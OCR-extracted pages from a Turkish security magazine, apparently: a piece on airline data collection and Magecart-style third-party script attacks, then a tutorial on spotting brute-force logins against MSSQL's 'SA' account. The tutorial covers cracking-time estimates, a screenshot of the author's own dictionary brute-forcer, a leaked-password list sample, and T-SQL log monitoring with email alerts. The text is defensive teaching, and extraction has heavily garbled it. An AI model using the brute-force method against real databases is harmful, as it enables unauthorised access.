may use cookies and other technologies to perform their services, and may combine the information that they collect about you on our websites with
other information that they have collected. This Policy does not cover such third parties’ use of the data.

Your access to your information

If you are a MileagePlus member, you can create, view or update your MileagePlus account by accessing it through the MileagePlus profile section on
united.com or by calling 1-800-421-4655. You may also update information relevant to your use of our mobile application(s) through the app itself.

*United Havayollar1 web stiesindeki tilincii taraf analitikler ile ilgili bilgiler

Gizlilik Politikasinda, United Havayollar1 hakkinizda toplanan bilgileri listeliyor. Bu listede “Web sitemizden ve mobil uygulama-
mizdan gelen kullanici ve eylem verileri” de goriilityor.

@ hittps:/iwww.united.com/ualfen/us/fly/privacy. htmi#tem; 76-4411

Information we collect about you

United collects and maintains personal information about you directly from you (both online and offline) and automatically when you use our sites
and third party sites, including when you make travel arrangements, contact us, complete a survey, register for the MileagePlus program, participate
in a promotion, or otherwise interact with us.

The type of information we collect about you depends on your particular interaction with us, and includes the following information, as applicable:

MName;

Contact information;

MileagePlus number and security information;
Gender and date of birth;

Payment information (e.g., credit card information);
Passport information and photograph;
Government 1D or redress number;

Images;

Travel preferences and special requests;

Purchase information (including both travel and non-travel purchases);
User and activity data from our websites and mobile applications;
Survey responses; and

Tax identification number of promotion or survey winner, depending on the value of the prize.

*United Havayollar1 tarafindan bir web sitesi ziyaretgisi ile ilgili toplanan bilgiler listesi

Web sitelerinde yayinlanan gizlilik ve ¢erez bilgileri bazi durumlarda bulunmas: oldukga zor olmakta ve bir¢ok ziyaretci bu
bilgileri iistiinkorii gegmektedir. GDPR ile birlikte bu tiir veri toplama bilgileri daha fazla goriiniir oldu ve veri mahremiyeti ile
ilgili farkindaligin artmasini sagladi.

Aragtirmanin son agamasinda, bu web sitelerinin kullandig teknolojilere bir goz attim. Bunun i¢in Wappalyzerdan yardim al-
dim. Wappalyzer* bir web sitesinde kullanilan teknolojileri (sadece Javascript’leri degil, Java kiitiiphanelerinden framework’lere
kadar tiim teknolojileri) tespit eden bir servis sunuyor.

4 https://www.wappalyzer.com/
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*Biiytik havayolu sirketlerinin ana web sitelerinden kullanilan teknolojilerin say1s

Sadece web sitesindeki 3. taraf Javascript'leri bulan bir program olsa daha faydali olurdu ama Wappalyzer da bu aragtirma i¢in
yeterli. Yalnizca sonuglarin siizillmesi ve siniflandirilmasi gerekiyor. Bu nedenle siniflandirma teknolojiler arasindan siiziilen
Javascriptin Wappalyzer tarafindan nasil tanimlandigina bagli olarak yapildi. Daha sonra da su kategoriler incelendi: Reklam-
cilik aglari, analitik, onbellek (cache) araglari, sorun izleyiciler, pazarlama otomasyonlari. Elbette tiim bu kategorilerdeki arac-
larin bilgi topladigini iddia etmiyorum, ama biiyiik olasilikla topladiklarini varsaymak da yanlis olmayacaktir.

*Biiyiik havayolu sirketlerinin ana web siteleri tizerinde ziyaret¢i verilerini muhtemelen toplayan teknolojilerin sayisi
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Bu t¢iincii taraf araglar sadece mahremiyet noktasinda de-

SANAL DUNYA, GERCEK TEHDITLER abakis
Son zamanlardaki siber saldirilarda bu tiir ti¢tincii taraf Ja- :

vascriptler tizerinden yapilan saldirilardaki artis kayda de- i 1 100 t—'_-l
ger. Ozellikle, Magecart saldirganlari, British Havayollari, -

Newegg ve TicketMaster miisterilerinin kisisel bilgileri ve
6deme verilerini Javascript zafiyetlerini kullanarak elde etti.
RiskIQ analistleri MageCart saldirilarinin izini siirdiiler ve
bu konu ile ilgili kapsamli bir rapor hazirladilar®. Gegti-
gimiz haftalarda bir kriptopara borsasi (gate.io) yine web
analitik icin kullanilan Gi¢linct taraf Javascriptler tizerinden
saldirtya ugradi ve saldirganlar miisterilerin Bitcoin'lerini
calmayi bagardilar®.

2015 yilinda, havayollar1 sirketlerinin web sitelerine ya-

pilan siber saldirilar sadece 6diil puanlarinin toplanmasi Slber Guven ll k
motivasyonu ile yapilmisti (United, American ve British -
ve Hacking

havayollarina 2015de yapilan saldirilar gibi). 2016 ve 2017
yillarinda ise Aisana, Vietnam ve Hong Kong Havayollari-

Mustafa ALTINKAYNAK
na yapilan saldirilarda goriildiigti gibi saldirganlarin mo-

= Siber Givenlije Giris = Sistem Giivenligi
tivasyonu yolcu bilgilerinin ¢alinmasi olarak degisti. Fakat - tdsnd
b} PR . . . . PO = Web Uygulama Givenligi = Tersine Mihendislik
2018%e geldigimizde motivasyon yolcu bilgilerinin yani sira - owasp + Cracking

= Burp Suite * BadUSE

kredi kart1 bilgilerinin de ¢alinmasina evrildi.

Bu sene gergeklesen iki biiyiik siber saldiri, British ve Cat-
hay Pacific Havayollarina yapilan saldirilar, bu durumu or-
taya koyuyor. Ornegin British Havayollarina yapilan saldi-
rida 380 bin miisterinin kredi kart1 bilgileri ¢alindi.

Toparlamak gerekirse, havayollar1 veya onlarin calistiklart
diger ti¢lincti taraf kurum ve kuruluglar sizin hakkinizda te-
mel seviyede islemler icin aslinda toplanmasi ¢ok da gerekli
olmayan bir¢ok bilgi toplanmaktadir. Tiim bu bilgiler hava-
yollari sirketleri tarafindan ticretlerin belirlenmesinde kulla-
nilmakta midir? Emin degilim. Peki kullanmak istiyorlar mi?
Kesinlikle!

5 “Inside Magecart: RiskIQ and Flashpoint Release Comprehensive Report
on the Assault on E-Commerce,” RiskIQ, Kasim 2018, https://www.riskiq.
com/blog/external-threat-management/inside-magecart/

6 “Third-Party Attack on Cryptocurrency Exchange Gate.io,” NormShiel, o
Kasim 2018, https://www.normshield.com/third-party-attack-on-
cryptocurrency-exchange-gate-io/
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Veri Tabani Saldirilar
ve Korunma Yontemleri

pilan saldirilar geliyor. Yani disaridan yapilan saldirilar.
Haydi biraz kafanizi karistirayim.

Siber gtivenlik denilince aklimiza hep web iizerinden ya-

“Diisman ya igerideyse?”

Yani sizin her giin ¢ay kahve ictiginiz kisi aslinda sizin verile-
rinizin pesindeyse?

Her giin bu paranoya ile gecer mi? Insan psikolojisini bozacak
derecede biiyiik bir siiphecilik durumu.

Tabii ki herkesten siiphelenmeyecegiz. Ama bu durum 6nlem
almamiza da engel degil tabii ki.

Simdi diisliniin. Bir veri tabaniniz var diyelim MSSQL Server.
Burada sirketinizin finans, muhasebe, AR-GE, iiriin tasarimi
gibi ¢cok 6nemli verileri var. Bu verilerin giivenligi Gi¢ tiir teh-
likeye maruz kalabilir:

1. Veriler silinebilir.
2.Degistirilebilir.
3.Rakip firmanin eline gecebilir.

Hangisi daha tehlikeli, hangisi daha riskli firmaya gore kisiye
gore degisir tabii. Ama risk risktir.
Veri tabanlarina saldirilar birgok yontemle yapilabilir. Ama

ben burada rastgele parola deneme yontemi olan Brute Force
saldirilarindan bahsedecegim.

Normalde bir veri tabani sisteminde sistemin siirekli yanlis pa-
rola girildiginde bir saldir1 oldugunu tespit etmesini bekleriz.

Asagidaki sahneyi hepimiz biliriz. Kemal Sunalin $abanoglu
Saban filminden parola sorma sahnesi.

SABAN OGLU SABAN

Ikili arasinda su diyalog geger.
-3%e kadar sayacagim ¢abuk parolay1 soyle! 1! ®

S

¥

-Parolaaaa «Sey»

’

-Parola «Sey» degil 2!
-Parolaaaa «Dur bulucam»
-Parola “Dur bulacam” da degil 3!
-Hah! Buldum. “Basak”
-Bilemedin “Safak’!

Olmasi gereken bir durumun 6rnegidir aslinda bu diyalog.
Sayet bir kisi parolayi ii¢ kez yanlis giriyorsa girmek bloklan-
malidir.

Gergekte durum nasil bir de ona bakalim.

Bir MSSQL veri tabani sisteminde istediginiz kadar yanlis pa-
rola girmenize izin verilir. Yani sizin kott niyetli olup olma-
diginiz1 algilamaz. Bununla alakali bir ayar da yoktur. Sistem
bize bu firsat1 veriyorsa saldirgana kalan siirekli farkli kombi-
nasyonlar: deneyerek dogru parola bulmaya ¢alismaktir.

Bir MSSQL veri tabanina giris i¢in ihtiyaciniz olanlar sunlar-
dir.

1.Fiziksel baglanti

2.1433 portunun agik olmasi
3.Kullanici adi

4.Parola

Simdi diigtinelim.

SQL sunucunuz internete agik degil. O zaman saldirgan disa-
ridan saldiramaz. Ciinkii fiziksel baglanti yok.

SQL sunucunuz internete ¢ikabiliyor ama 1433 portu kapali.
Fiziksel baglanti var ama port kapali yine giremez.

SQL Sunucunuz internete ¢ikabiliyor ve evden VPN’siz bag-
lanmak i¢in 1433 numarali portu ag¢tiniz. Bu durumda sal-
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dirgan kullanici ad1 ve parolay1 tahmin etmeli. Tiirkiyede ne-
redeyse MSSQL kullananlarin ytizde 99’u varsayilan admin
hesabi olan “SA” kullanicisini disable etmiyor. O zaman geriye
ne kaldi? Parolay1 tahmin etmek.

“safak” parolasi Ingiliz alfabesi ile 26 karakterin 5’li kombinas-
yonu ile bulunabilir.

Yani 26x26x26x26x26 =11.881.376 farkli sifre kombinasyonu.

Diyelim ki saldirgan internet tizerinden saniyede 10 parola
deneyebiliyor.

Bu da 11.881.376/10=1188137.6 Sn, 19.802 Dakika,330 Saat,
13.75 Giin demektir.

Peki saldirgan igeriden saldiriyorsa durum nasil?

Bir¢ok isletmede GBit baglanti1 hizi ve i5, i7 ayarinda kullanici
bilgisayarlari var.

Bu durumda saniyede 5.000 parolaya kadar deneyebilirsiniz.
Bu da su anlama gelir.

11.881.376/5.000 = 2.376 sn, 39 dk.

39 dakikada parolayi kirabiliyorsunuz demektir.

Hemen aklimiza su soru geliyor degil mi? “5 karakterlik pa-
rola mi olur?”

Dogru olmaz. Ama 5 karakterden fazla olan, biyiik kiigiik
harf olan bir parolanin kirilmasi i¢in gereken zaman biraz

daha fazladir. Belki 1 giin, belki 1 hafta, belki 1 ay.

Ama sonugta biz sistem yoneticilerine diisen boyle bir saldi-
Iyl

1.Tespit etmek

2.Kayit altina almak

3.Saldir1y1 engellemek

4 Miimkiinse saldirgani oyalayip onu is iistiinde yakalamaktir.

Iste bugiin bu makalede bu durumu nasil yapacagimizi
anlatacagim.

Asagida resmini gordiigiiniiz uygulama hedef sistemde siirek-
li parola denemesi gergeklestiriyor. Denedigi parolalar ise bir
kombinasyon degil internette bolca bulabileceginiz 2.000.000
paroladan olusan bir sozlitk (password dictionary).

Benim yazdigim ¢ok basit bir uygulama. Tek thread kullanryor
ve saniyede yaklasik 500 parola deneyerek parolayi kirdu.

!

Sunucu  [192.168.182.135 | | Eim s |
Kullanici |SA |
Database |MASTER |
Baglandi. Password=Password1 Sure:00:01
eldiablo6662
cajolantest
ricky arnejo
abbeyeli
adriandumitrescu
Password1
8997394
RAP
amazing_me_2018@
pwalkershit
emjhayarca
fackz95
greatness_personified
kaamasmukka
doveystar
b4rnen3
blondetweetysweety
8a76el
challex828

chandramouli 3 @
amos_rosenthal
fatoyfoodl23
mary claire d
lecnleon66?
76grigny
squeakie_1©1
d&eacute;racinaid4
bmforlove
cerradajonathan
91lut@m@te$
manota2ee9

1B1% -~
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Parola sozlitk dosyasindan (password dictionary) bir gortinti.

Birileri parolamizi bu sekilde kirmaya ¢aligirken biz elimiz ko-
lumuz bagh oturacak miyiz?

Tabii ki hayir!

SQL Serverda Server Propertiese tikladigimizda “Login Audi-
ting” yazan bir boliim goriiriiz.

Ohbject Explorer
Connect~ 3 @ g “F EQ

1 Databases
[ Security Disconnect
3 Server Objects e
[ Replication
3 AlwaysOn Hig Mew Query
Tl t
- anage.men Activity Monitor
[ Integration Sel
Ij) SOL Server Ag Start
Stop
Pause
Resume
Restart
Policies »
Facets
Start PowerShell
Reports »
Refresh
P rti
roperties "
|t
5|
S:I.;:n:;w ;SSCHD‘ - uHa\p
2 Memory

4 Processors

14 Security

|4 Connections

17 Database Settings
5 Advanced

2 Permissions

Server authentication

() Windows Authentication mode
(® 50L Server and Windows Authentication mode

Login auditing

O None

@) Failed logins only

() Successful logins only

O Both failed and successful logins

ETVET PTORY SCeouT
[ Enable server proxy accourt

Conneclion

Server:
Jsgl14 Options

[ Enable Common Criteria compliance
[] Enable C2 audt tracing

Connection:
DESKTOP-5E3LKN1‘omerc

51 View connection properties N
[ Cross database ownership chaining

Progress.
Ready

Cancel

ARKA KAPI

Burada login islemlerinden hangisini loglamak istedigimizi
belirtiriz.

None dersek higbir seyi kayit altina almaz.

Failed logins only seceneginde (ki varsayilan olarak segili
olan segenek budur.) o zaman sadece hatali login islemleri ka-
yit altina alinir.

Successfull logins only dersek sadece basarili girisleri kayit
altina alr.

Both failed and sucessfull logins dersek de her ikisini de ka-
yit altina alir.

Simdi bu loglari nasil goriiyoruz ona bakalim.
Bunun igin,

SQL Management Studio Management bolimiinde, SQL Ser-
ver Logs sekmesine girip Current Logs meniisiine tikladigi-
mizda bu loglar1 gorebiliriz.

Object Explorer M Al SO CQueryl.sgl - 192
Connect~ ¥ ¥ (Ve
o @ 192.168.182.135 (SOL Server 14.0.1000.169 - sa)
Databases
Security
Server Objects
Replication
PolyBase
Always On High Availability
= Management
& Policy Management
g Data Collection
Bw Resource Governor
Extended Events
Maintenance Plans
= SCL Server Logs
r
7] Archive #1 - 4,11.2018 20:46:00
7] Archive 2 - 4.11.2018 20:34:00
7] Archive #3 - 4.11.2018 19:33:00
7] Archive #4 - 4,11.2018 12:33:00
¥ Database Mail
I3 Distributed Transaction Coordinator
Legacy
Integration Services Catalogs
2 50U Server Agent
{#] XEvent Profiler
W0% -
ig Connected. (1/1]
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ueryl.sql - 192.168.182.135.mast

View  Project  Debug
8- a-26 |4
PTG

168,182,135 (SOL Server 14.0.10

Jatabases

security

ierver Objects

teplication

‘olyBase

Always On High Availability

Hanagement

R Policy Management

&) Data Collection

¥ Resource Governor

] Extended Events
Maintenance Plans
SOL Server Logs

Si
[ Current - 4.11.2018 20:45

7] Archive #1 - 4.11.2018 20;
[ Archive #2 - 4.11.2018 20;
7] Archive #3 - 4.11.2018 19;
7] Archive #4 - 411.2018 19;

9 Database Mail

i@ Distributed Transaction Coo
Legacy

ntegration Services Catalogs

iQL Server Agent

{Event Profiler

Baktigimiz zaman loglarda ¢ok sayida “Login Failed for user

{E) Log File Viewer - 192.168.182.135

Selectlogs
SQL Server
Current -4.11.2018 21:56:00
[ Archive #1-4.11.2018 20:46:00
[ Archive #2-4.11.2018 20:34:00
[archive #3-4.11.2018 19:33:00
[archive #4 -4.11.2018 19:33:00
[15GL Server Agent
[]Database Mail
[Windows NT

< >
tatus

Last Refresh:

4.11.2018 21:58:30

Fiter: None
Y Viewfitersettings

Progress
Done (1035 records)

(i Load Log il Export [Z]Refresh T Filter... 3 Search...

Log file summary: No fiter applied
Date v Source

5] 4112018 21:56:06 - Logon
[l 411201821:5606  Logon
[l 4112018215606 Logan
[l 411201821:5606  Logon
[l 4112018215606 Logan
[l 411201821:5606  Logon
[l 411201821:5606  Logon
[l 4112018215606 Logan
[l 411201821:5606  Logon
[l 4112018215606 Logan
] 411201821:5606  Logon
[l 411201821:5606  Logon
[l 4112018215606 Logan
[l 411201821:5606  Logon
[l 4112018215606 Logan
[l 411201821:5606  Logon
[l 411201821:5606  Logon
[l 4112018215606 Logan
[l 411201821:5606  Logon
[l 4112018215606 Logan

<

Selected row details:

Date 4112018 21:56.06
Log

Source Logon

Message

Message

Login failed for user ‘SA’. Reason: Password did not match that for the login provided. [CLIENT:

Emor: 18456, Severity: 14, State: 8.

Login failed for user "SA’. Reason: Passwond did not match that for the login provided. [CLIENT:

Emor: 18456, Severity: 14, State: 8.

Login failed for user "SA’. Reason: Passwond did not match that for the login provided. [CLIENT:

Emor: 18456, Severity: 14, State: 8.

Login failed for user ‘SA’. Reason: Password did not match that for the login provided. [CLIENT:

Eror: 18456, Severtty: 14, State: 8.

Login failed for user ‘SA’. Reason: Password did not match that for the login provided. [CLIENT:

Eror: 18456, Severtty: 14, State: 8.

Login failed for user ‘SA’. Reason: Password did not match that for the login provided. [CLIENT:

Emor: 18456, Severity: 14, State: 8.

Login failed for user "SA’. Reason: Passwond did not match that for the login provided. [CLIENT:

Emor: 18456, Severity: 14, State: 8.

Login failed for user "SA’. Reason: Passwond did not match that for the login provided. [CLIENT:

Emor: 18456, Severity: 14, State: 8.

Login failed for user ‘SA’. Reason: Password did not match that for the login provided. [CLIENT:

Eror: 18456, Severtty: 14, State: 8.

Login failed for user ‘SA’. Reason: Password did not match that for the login provided. [CLIENT:

Eror: 18456, Severtty: 14, State: 8.

SQL Server (Curent - 4.11.2018 21.56:00)

stop [ Help

192168.1821] !
192.168.182.1] ¢
192.168.182.1] ¢
192168.1821] !
192168.1821] !
192168.1821] !
192.168.182.1] ¢
192.168.182.1]
192168.1821] !

192168.1821] !

Close

‘SA’ Reason: Password did not match that fort he login provided.
[CLIENT:192.168.182.1]” kayd1 goriiyoruz.

100 %
FB Resuts Bl Messages

Iste bu durum bize bir parola deneme saldirisi yapildigini gos-
teriyor. Ustelik hangi IP'den yapildig1 bilgisi de elimizde mev-

cut.

Peki bu saldiriyr anlamak i¢in bu ekrana siirekli bakmamiz mi1

gerekiyor?

Bu soruyu sorunca Vizontelede Artos Daginda yayin geldi-
ginde haber vermesi i¢in bekleyen zabita geliyor aklima ne-
dense.

Boyle yapmayacagiz tabii ki.

Ne demistik? SQL Server geri planda SQL dilinden bagka bir
seyden anlamaz.

Yani bizim 6niimiize gelen log tablosunu olusturmak icin geri
planda isletilen bir SQL climlesi var.

“EXEC XP_ReadErrorLog”

Madem elimizde boyle bir komut var o zaman $6yle bir senar-

yo nasil olur dersiniz?

38

97

98

99

100
101
102
103
104
105
106
107
108
109
110
11
112
113
114
115
116
7
118
113
12
12
12
12
12
12
12
127
121
12
130
12
132

=E

mmRBE

=

exec xp_readerrorlog

LogDate

2018-11-04 21:56:03.110
2018-11-04 21:56:03. 110
2018-11-04 21:56:03.110
2018-11-04 21:56:03.120
2018-11-04 21:56:03.120
2018-11-04 21:56:03.130
2018-11-04 21:56:03.130
2018-11-04 21:56:03.140
2018-11-04 21:56:03.140
2018-11-04 21:56:03.150
2018-11-04 21:56:03.150
2018-11-04 21:56:03.150
2018-11-04 21:56:03.150
2018-11-04 21:56:03.160
2018-11-04 21:56:03.160
2018-11-04 21:56:03.170
2018-11-04 21:56:03.170
2018-11-04 21:56:03.180
2018-11-04 21:56:03.180
2018-11-04 21:56:03.180
2018-11-04 21:56:03.180
2018-11-04 21:56:03.130
2018-11-04 21:56:03.150
2018-11-04 21:56:03.200
2018-11-04 21:56:03.200
2018-11-04 21:56:03.210
2018-11-04 21:56:03.210
2018-11-04 21:56:03.220
2018-11-04 21:56:03. 220
2018-11-04 21:56:03.220
2018-11-04 21:56:03.220
2018-11-04 21:56:03.230
2018-11-04 21:56:03.230
2018-11-04 21:56:03 240
2018-11-04 21:56:03.240
2018-11-04 21:56:03 250

SOLQuery2sql - 192...35.master (sa (54 = X &

Processinfo
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon

ry1.5ql - 192..35.master (sa (67))

Text

Login faied for user 'SA". Reason: Password did not match that for the login provided
Error: 18456, Severity: 14, State: 8.

Login faied for user 'SA'. Reason: Password did not match that for the login provided
Error: 18456, Severity: 14, State: 8.

Login fai=d for user 'SA'. Reason: Password did not match that for the login provided
Ermor: 18456, Severity: 14, State: 8.

Login failed for user 'SA'. Reason: Password did not match that for the login provided
Emor: 18456. Severity: 14. State: 8.

Login failed for user 'SA'. Reason: Password did not match that for the login provided
Emor: 18456, Severity: 14, State: 8.

Login failed for user 'SA". Reason: Password did not match that for the login provided
Emor: 18456, Severity: 14, State: 8.

Login failed for user 'SA". Reason: Password did not match that for the login provided
Emor: 18456, Severity: 14, State: 8.

Login faied for user 'SA". Reason: Password did not match that for the login provided
Error: 18456, Severity: 14, State: 8.

Login faied for user 'SA'. Reason: Password did not match that for the login provided
Error: 18456, Severity: 14, State: 8.

Login fai=d for user 'SA'. Reason: Password did not match that for the login provided
Ermor: 18456, Severity: 14, State: 8.

Login failed for user 'SA'. Reason: Password did not match that for the login provided
Emor: 18456. Severity: 14. State: 8.

Login failed for user 'SA'. Reason: Password did not match that for the login provided
Emor: 18456, Severity: 14, State: 8.

Login failed for user 'SA". Reason: Password did not match that for the login provided
Emor: 18456, Severity: 14, State: 8.

Login failed for user 'SA". Reason: Password did not match that for the login provided
Emor: 18456, Severity: 14, State: 8.

Login faied for user 'SA". Reason: Password did not match that for the login provided
Error: 18456, Severity: 14, State: 8.

Login faied for user 'SA'. Reason: Password did not match that for the login provided
Error: 18456, Severity: 14, State: 8.

Login fai=d for user 'SA'. Reason: Password did not match that for the login provided
Emor: 18456, Severtty: 14, State: 8.

Login failed for user 'SA'. Reason: Password did not match that for the login provided
Emor: 18456. Severity: 14. State: 8.

Sistem 3 dakikada bir ¢aligsin.

[gili log satirlarini okusun.

[CLIENT:

. [CLIENT:

. [CLIENT:

. [CLIENT:

[CLIENT:

[CLIENT:

[CLIENT:

[CLIENT:

. [CLIENT:

. [CLIENT:

. [CLIENT:

[CLIENT:

[CLIENT:

[CLIENT:

[CLIENT:

. [CLIENT:

. [CLIENT:

. [CLIENT:

152.168.182.7]

192.168.182.7]

192.168.182.7]

192.168.182.1]

192.168.182.1]

182.168.182.1]

152.168.182.1]

152.168.182.7]

192.168.182.7]

192.168.182.7]

192.168.182.1]

192.168.182.1]

182.168.182.1]

152.168.182.1]

152.168.182.7]

192.168.182.7]

192.168.182.7]

192.168.182.1]

Igerisinde “Login Failed for user ‘SA’ Reason: Password did
not match that fort he login provided. “ ctimlesini iceren
100den fazla kayit mevcutsa, bir saldir1 oldugunu tespit

etsin.

rebilirsiniz.

Burada 100 sembolik bir rakam. Daha az ya da daha fazla ve-
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Peki “EXEC XP_ReadErrorLog” gibi hazir bir sorguyu nasil filtreleriz?
Cok kolay. Temp Table kullanarak yapabiliriz. Temp Table'lar hafizada olusturulan ve sonra yok olan tablolardir.

CREATE TABLE #SQLErrorLog

(
LogDate DATETIME ,
ProcessInfo VARCHAR (20) ,
Text VARCHAR (500)

) ;

INSERT INTO #SQLErrorLog
EXEC xp_ readerrorlog 0;
SELECT * FROM #SQLErrorLog
WHERE Text LIKE ‘%Login failed for user%’
AND LogDate >= DATEADD (MINUTE, -1 * 3, GETDATE())

Gorildugi gibi sisteme son 3 dakika igerisinde 476 kez parola denemesi yapildigini anlayabiliyoruz.
SQLQueyTal - 152,38 mestr (54 G X

“ICREATE TABLE #SQLErrorLog +
(

LogDate DATETIME ,
ProcessInfo VARCHAR(20) ,
Text VARCHAR(5@@)

- INSERT INTO #SQLErrorLog
EXEC xp readerrorlog 0;
-SELECT * FROM #SQLErrorLog
WHERE Text LIKE '%Login failed for user%’
AND LogDate >= DATEADD(MINUTE, -1 * 3, GETDATE())

100% -

(= Resuts [y Messages

LogDate Processinfo  Text -~
4 2018-11-0701:11:13.820  Logon Login failed for user 'SA’. Reason: Password did not match that for the login provided. [CLIENT: 192.168.182.1]
5 2018-11-0701:11:13.830  Logon Login failed for user 'SA’. Reason: Password did not match that for the login provided. [CLIENT: 152.168.182.1]
6 2018-11-0701:11:13.840  Logon Login failed for user 'SA”. Reason: Password did not match that for the login provided. [CLIENT: 152.168.182.1]
7 2018-11-0701:11:13.850  Logon Login failed for user 'SA". Reason: Password did not match that for the login provided. [CLIENT: 152.168.182.1]
8 2018-11-0701:11:13.850  Logon Login failed for user 'SA’. Reason: Password did not match that for the login provided. [CLIENT: 192.168.182.1]
9 2018-11-0701:11:13.860  Logon Login failed for user 'SA’. Reason: Password did not match that for the login provided. [CLIENT: 152.168.182.1]
10 2018-11-0701:11:13.870  Logon Login failed for user 'SA’. Reason: Password did not match that for the login provided. [CLIENT: 192.168.182.1]
11 20181107 01:11:13.880  Logon Login failed for user 'SA’. Reason: Password did not match that for the login provided. [CLIENT: 152.168.182.1]
12 2018-11-0701:11:13.830  Logon Login failed for user 'SA”. Reason: Password did not match that for the login provided. [CLIENT: 152.168.182.1]
13 20183-11-0701:11:13.900 Logon Login failed for user 'SA". Reason: Password did not match that for the login provided. [CLIENT: 152.168.182.1]
le M40 11 A7 N1.11.19 610 e | i $milmid Fr s 'T A Dimmimimim D mnmiim el Aid bbb beod Foe Hom i rmisidded TP ICKIT. 107 120 107 11 o W
@ Query executed successfully. 192.168.182.138 (140 RTM) | SA(56) | master | 00:00:00 | 476 rows

Simdi burada yapmamiz gereken IPyi tespit etmek ve database yoneticisine haber vermek. Bunun i¢in SQL Serverda DB Mail’i
aktif etmemiz gerekiyor. SQL DB Mail kurulumu asagidaki sekilde gerceklestirilebilir.

-l | Mianagement
3 __?3’ Policy Management
£ 3{3 Data Collection
3 _j Resource Governor
£ E._,’I Extended Events
o Managed Backup
T [ Maintenance Plans
3 50L Server Logs
j Database Mail
Qﬂ Distributed Transaction Coordir
+ [ Legacy
+ 1 Integration Services Catalogs
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M

Welcome to Database Mail Configuration
Wizard

Database Mail is a SCGL Server component that uses the Simple Mail Transfer Protocol (SMTP)
to send e-mail messages. The wizard helps you perform setup and maintenance tasks such as:
» Managing Database Mail accounts and profiles

» Managing Database Mail security

» Corfiguring Database Mail system parameters

Click Mext to continue, or Cancel to exit the wizard.

[] Skip this page in the future

Help Mext > Cancel

Y
=]

Select Configuration Task
Select setup or maintenance tasks.

If you are instaling Database Mail for the first time, select the setup option.

(® Set up Database Mail by performing the following tasks:
1. Create a new e-mail profile and specify its SMTP accounts
2. Specify profile security
3. Corfigure system parameters

() Manage Database Mail accounts and profiles

() View or change system parameters

Help < Back Cancel
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i
1=

New Profile
Specify the profile name, description, accounts, and failover priority

Profile name: |su\eg'rtim |

Description:

A profile may be associated with multiple SMTP accounts. f an account faile while sending an e-mail, the profile uses the next
account in the priority list. Specify the accounts associated with the profile, and move the accounts to set the failover priority

i
==

Specify name, description, and attributes for your SMTP account.

Account name ‘sqlsemer.egmm @gmail.com |

Description: ‘ |

Outgoing Mail Server (SMTP)

E-mail address: |sqlserver.egmm@gmall.com
Display name: |sqlserver.egmm@gmall.com
Beply e-mail: |sqlserver.egitim@gmail.com
Server name: |mai\.google.com Part number:

This server requires a secure connection (S5L) L
SMTP Authentication

O Windows Authentication using Database Engine service credentials ‘ Cancel

(® Basic authentication

Username |sq\sewer.eghim@gmailcom | JESKTOP-3E3LKNT\omerc ... | master

Password: | ......................... |

Confim password: | ......................... |

(O Anonymous authentication

*j Database Mail Configuration Wizard - DESKTOP-3E3LKN T sql14 - O X

Manage Existing Account

Choose the account to view, change, or delete.

Account name: sqlserver.egitim @gmai .com ~ Delete

Description: |

Outgoing mail server (SMTP)

E-mail address: sqlserver egitim@gmail.com
Display name: sqlserver egitim@gmail.com
Reply e-mail: sqlserver egitim@gmail.com
Server name: smitp.gmail.com Port number: 587

This server requires a secure connection (SSL)

SMTP Authentication

() Windows Authentication using Database Engine service credentials

(@ Basic authentication

User name: sqglserver egitim@gmail com

Paszword:

Confirm password:

(O Anonymous authentication

Help < Back Mext > Cancel
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*
= |

New Profile
Specify the profile name, description, accounts, and failover priorty.

Profile name: |sq|eg'rtim

Description:

A profile may be associated with multiple SMTP accounts. f an account fails while sending an e-mail, the profile uses the next
account in the priorty list. Specify the accounts associated with the profile, and move the accounts to set the failover priorty.

SMTP accounts:
Priofty  Account Name E-mail Address Add...
B _I "

i sglserveregtim..  sqlserver.egitim@gmail. com Remave

Help < Back Cancel

Y
JE=|

Manage Profile Security
Specify database users or roles that have access to profiles.

Public Profiles  Prvate Profiles

A public profile can be accessed by all users of any mail-host database.

Select public profiles. You can also specify the default public profile.

Public Profile Name Default Profile
sglegitim Mo

[] Show enly existing public profiles

Help < Back Neat = Cancel
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i+
=

Configuring...

Click Stop to intemupt the operation.
@ 4 Total 0 Emor
Success 4 Success 0 Waming
Details:
Action Status Message

@ Create new account 'sglserver egitim @gmail com'for SM...  Success

@ Create New profile ‘sglegitim® Success

@ Add account “sglserver egitim @gmail com’ to profile ‘sgleg...  Success

@ Grant ‘guest’ access to "sglegitim’ Success

Repot

Close

Simdi bir test maili gonderelim.
) L MW GYEAL LY MGGy
= [ Management j Send Test E-Mail from DESKTOP-3E3LKNT\50L14 — O X
£ __:5’ Policy Management ) )
»ﬂ Data Collection Database Mail Profile:
£ _j Resource Governor

T

sqlegitim

To: |sqlserver.eg'rtim@gmail.com |
£ E_1 Extended Events Subject: |Bu bir deneme mailidir. |
e Mahaged Backup Body: This is a test e-mail sent from Database Mail on
# [ Maintenance Plans DESKTOP-SE3LKN1VSQL14.
[ 50L Server Logs
i+
R Configure Database Mail
Q:ﬂ Distributed -
7 3 Legacy Send Test E-Mail...
¥ [ Integration Ser View Dtabase Mail Log Send Test E-Mail |
[ SOL Server Age

Reports 2 |

3 Refresh t 2= Close

SQL Server tarafindan gonderdigimiz mail alind1.

= M Gmail o -
o- ¢
I—- E-Posta Yoz N
O Birin &% Sosyal W Tantimiar
Gelen Kulusu 1

Bu bir deneme mailidir. s 5 3 test e-ma

BVex*x0O
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EXEC msdb.dbo.sp send dbmail

@profile name = ‘sglegitim’,
@recipients = ‘sqglserver.egitim@gmail.com’,
@subject = ‘Brute Force Saldirisi’,

@pbody=’Sisteminize 01:30:00 ile 01:33:00 saatleri arasinda 192.168.189.1 ip 1i makineden
475 kez sifre denemesi yapilmistir.’

Mail sistemini aktif ettikten sonra anlamli bir mesaj ile database y6neticisine mail gondermemiz gerekiyor. Yine mail gonderme
islemi de aslinda bir T-SQL komutudur.

= M Gmail Q, Postalarda arayir <
€« O 0 § = 0 b »

|— E-Posta Yaz

Brute Force Saldinsi Gefen itusu x
] Gelen Kutusu 1
*  Yildizh sqiserver.egHim@gmall.com <sglserver egitim
© Ertelendi Alici: ben -

Sisteminize 01:30:00 ile 01:33:00 saalleri arasinda 192.168.189.1 ip i makineden 475 kez sifre denemesi yapilmighr
= Gonderilmis Postalar
B Teslaklar

. Yanitla W Yonlendir
Diger

